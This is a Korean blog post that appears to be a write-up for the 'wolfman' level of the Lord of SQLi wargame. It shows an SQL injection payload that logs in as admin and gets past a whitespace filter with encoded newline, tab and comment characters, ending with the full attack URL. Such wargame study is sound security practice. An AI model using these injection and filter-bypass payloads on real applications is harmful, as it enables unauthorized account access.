1.문제풀이
1) 코드 해석
- 다음 코드를 보면 이번문제에서는 공백(스페이스바)이 필터링 되어있는것을 볼 수 있다
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
- 공백 필터링만 우회해서 admin계정으로 접속하면 역시 풀리는 문제이다
2) 문제풀이
- 먼저 admin계정을 가져오기 위해서는 pw=' 문구로 다음과 같이 첫번째 쿼리문을 닫아준다
select id from prob_wolfman where id='guest' and pw=''
- 그 뒤에 or id='admin 문구로 admin계정으로 접속 할 수 있게 한다
- 따라서 pw=' or id='admin 문구를 대입하여 다음과 같이 쿼리문에 삽입시키면 공격이 성공한다
- select id from prob_wolfman where id='guest' and pw='' or id='admin'
- 하지만 or 양쪽으로 공백이 있으므로 필터링 우회를 해서 공격해야한다
- 공백 필터링 우회방법에는 여러가지가 있는데 이 중에 골라서 쓰면 된다
Tab : %09
\n : %0a
\r : %0d
주석 : /**/
- 공격 시 삽입 구문: pw='%0aor%0aid='admin
- 공격 후 구문: https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0aid=%27admin
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
Lord if SQLi(#7 orge) (0) | 2022.12.30 |
---|---|
Lord of SQLi(#6 darkelf) (0) | 2022.12.30 |
Lord of SQLi(#4 orc) (0) | 2022.12.28 |
Lord of SQLi(#3 goblin) (0) | 2022.12.28 |
Lord of SQLi(#2 cobolt) (1) | 2022.12.28 |